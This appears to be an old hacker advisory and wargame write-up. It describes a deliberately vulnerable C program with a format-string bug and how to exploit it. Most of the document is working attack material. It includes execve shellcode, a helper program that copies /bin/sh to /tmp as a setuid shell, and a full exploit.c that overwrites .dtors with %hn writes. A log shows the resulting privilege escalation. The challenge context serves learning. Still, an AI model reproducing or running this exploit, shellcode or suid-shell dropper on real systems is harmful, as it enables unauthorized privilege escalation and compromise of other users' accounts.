Author: Rave

Title: Advisory for f334g443.c

Date: Jan-04

Type of Bug: Special case format bug

Risk: Huge if running suid

Program: http://bffffab0.info/f334g443.c

 

-bash-2.05b$ cat vuln1.c

/*

* Another Not So Hard Bug to play with :)

*

* This one is specially crafted for rave

*

* by bob[at]dtors

*

*/

#include <stdio.h>

#include <fcntl.h>

char buf[1024];

char bytes[256];

char *py;

 

bob (char *buf, int len)

{

register int x;

register char * pb;

pb = buf;

x = len;

while (x > 0) {

*pb = (*pb ^ *py);

pb++;

py++;

if (! *py)

py = bytes;

fprintf(stdout,buf);

x--;

}

}

 

int main (int argc,char *argv[])

{

int x = 0;

memset (bytes, 0, sizeof (bytes));

bytes[0] = 0xb0;

py = bytes;

x = 1;

fprintf(stdout, "bobbed output: ");

while (x > 0) {

x = read (0, buf);

bob (buf, x);

}

exit (0);

}


Ow yes this was realy a nice bug to exploit, I must say this vuln is not for the novice among us today. The

Program is vulnerable to a format bug in a special way :D. Users could exploit the vulnerable code and execute arbitary commands with higher privilages.

P0C:

-bash-2.05b$ echo AAAAA%x.%x.%x | ./vuln1

bobbed output: ñAAAAbfbffb80.280d7371.e

ññAAAbfbffb80.280d7371.e

ñññAAbfbffb80.280d7371.e

ññññAbfbffb80.280d7371.e

ñññññbfbffb80.280d7371.e

ñññññx.bfbffb80.280d7371

ñññññÈ.bfbffb80.280d7371

ñññññÈbfbffb80.280d7371

ñññññÈx.bfbffb80

ñññññÈÈ.bfbffb80

ñññññÈÈbfbffb80

ñññññÈÈx

ñññññÈÈÈ

ñññññÈÈȺ

-bash-2.05b$

This is a special case format vulnerability because you can`t reach you own input unless you take some infacive actions first u need to stop the xor loop. Next ule need a place on the stack where u can put your adresses to write to. 
Stopping the while ( x > 0) loop
This loop runs from strlen (input) to 0, but whe have to brake it to stop the anoying countdown because if whe leave the countdown like it is ule recv a segv at the moment the output string < (strlen (formatstring)). But now how can stop the loop.

while (x > 0) {

*pb = (*pb ^ *py);

pb++;

py++;

if (! *py)

py = bytes;

fprintf(stdout,buf);

x--;

}

This loop inside bob () stops if *Pb returns 0 because *pb point to char *buf from the calling arguments of bob (). This means that if Pb return 0 the input string has ended.

*pb = (*pb ^ *py);

 

If *Pd = 0x41 ('A') it would do

41 ^ 0xb0 = 0xf1

But if we us a \xb0 byte in our format string this sum ends up like.

0xb0 ^ 0xb0 = 0x00

This will be enough to stop the while loop, now whe have only one output (thanks to the fprintf in the loop).

-bash-2.05b$ echo -e "AA\xb0AABBBB%x.%x.%x" | ./vuln1

bobbed output: ñA°AABBBBbfbffb70.280d7371.12

ññ°AABBBBbfbffb70.280d7371.12

ññññññññññññññññññññññññññññññññ-bash-2.05b$

But still we can reach our input we can solve this by giving the adressess to write to as argument one (like ./vuln AAAABBBB) and brute force the number of stackpops to use.

-bash-2.05b$ echo -e "AA\xb0AABBBB"%103$\x.%104$\x | ./vuln1 AAAABBBB.. BBBB

bobbed output: ñA°AABBBB41414141.42424242

ññ°AABBBB41414141.42424242

ññññññññññññññññññññññññññññññññññññññññññ-bash-2.05b$

 

From now on its just u format bug that can be exploited how ever you want to. But because of my way of exploiting I had to use a special shellcode that calls out for /tmp/bob. This executable sets the uid and gid to 1017 (bobs uid) and creates a suid shell in /tmp.

 

My exploit feathures.

  1. Shellcode executes /tmp/bob as user bob
  2. /tmp/bob creates a suid bob shell in /tmp
  3. A suid shell now exists in the /tmp dir if you run the file u get euid=1017(bob)

 

So this makes my exploit kinda and old style exploit but any ways who doesn’t remember the old days when everything was just fine and life was easy?. If anyone has questions about how to exploit this bug pls contact me on irc or email me at [email protected].

But exactly why did i use methode of executing a file that creates a suid shell? Instead of just running a shellcode that calls /bin/sh ?. In my exploit I use pipes, this means at the moment that a normal shellcode would get executed by f334g443.c (bob`s vuln) these pipes will brake and ule recv a "Broken pipe" error message. Now I know i could work around this problem by looking up the files discryptor number dup2() returns in my exploit and use it in a advanced shellcode via write(duppedpipe,stdoutext,length) but generating that kind of shellcode would take to long since I was not the only one playing this challenge. So this way was the quickest and proofs to be the most efficent way to exploit this bug.

 

 

// Executes

// Execve("/tmp/bob", [0], [/* 0 vars */])

char shellcode[]=

"\x31\xc0\x31\xc9\x50\x68\x2f\x62"

"\x6f\x62\x68\x2f\x74\x6d\x70\x8d"

"\x0c\x24\x50\x50\x51\x51\xb0\x3b"

"\xcd\x80";

 

// bob.c

int main(void)

{

setuid(1017);setgid(1017);

system("cp /bin/sh /tmp;chown bob /tmp/sh;chmod a+s /tmp/sh");

}

 

 

// exploit.c

#define x0r 0xb0 // X0r byte used by vuln1

char shellcode []=

// bsd shellcode (special build)

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x31\xc0\x31\xc9\x50\x68\x2f\x62"

"\x6f\x62\x68\x2f\x74\x6d\x70\x8d"

"\x0c\x24\x50\x50\x51\x51\xb0\x3b"

"\xcd\x80";

 

 

// the adresses to write to in this case the dtors

long *adresses [ 2 ] = {

(0x0804970c+4) +2,

(0x0804970c+4)

}

;

// this routine creates echo <format string> | ./vuln1 <adresses>

int execute (char *adresses,char *fmtstring)

{

int pijp[2];

pipe(pijp);

 

 

if (fork() !=0){

dup2(pijp[0],0);

close(pijp[1]);

execlp("./vuln1","./vuln1",adresses,0);

}

if (fork() !=0){

dup2(pijp[1],1);

close(pijp[0]);

close(pijp[1]);

wait(0);

wait(0);

 

 

}

 

int main(void)

{

int high,low,i;

char buffer[900];

char adr[128];

char mshell [900];

long target =0xbfbffe70 ; // Address of shellcode

// (we write this to the dtors)

 

high = (target & 0xffff0000) >> 16;

low = (target & 0x0000ffff);

 

// put the adresses to write to in one buffer

sprintf(adr,"%s%s",

((char *)&adresses[0]),

((char *)&adresses[1])

);

high -=11; //whe have 11 already written bytes : strlen("AA%cAAAABBBB");

// Here we build our format string

sprintf(buffer,"AA%cAAAABBBB%%.%dx%%%d$hn%%.%dx%%%d$hn",

x0r,

high,

103,

(low-high)-11,

104

);

 

 

 

 

setenv("dsr",shellcode,1); // whe put the execve("/tmp/bob",0,0); shellcode in the env

execute (adr,buffer); // and execute the exploit

}

 

-bash-2.0.5$ ./test

... <data spaced out>

... <data spaced out>

... <data spaced out>

... <data spaced out>

0000000000000000000000008049710

chown: not found

-bash-2.05b$ /tmp/sh

$ id

uid=1018(rave) euid=1017(bob) gid=1018(rave) egid=0(wheel) groups=0(wheel), 1018(rave), 0(wheel)

$ exit

-bash-2.05b$

 

 

 

My tankz go out to bob for this great vuln.

And my greetz to every one I know

 

 

Enjoy.., rave ([email protected])

Hosted by www.Geocities.ws

1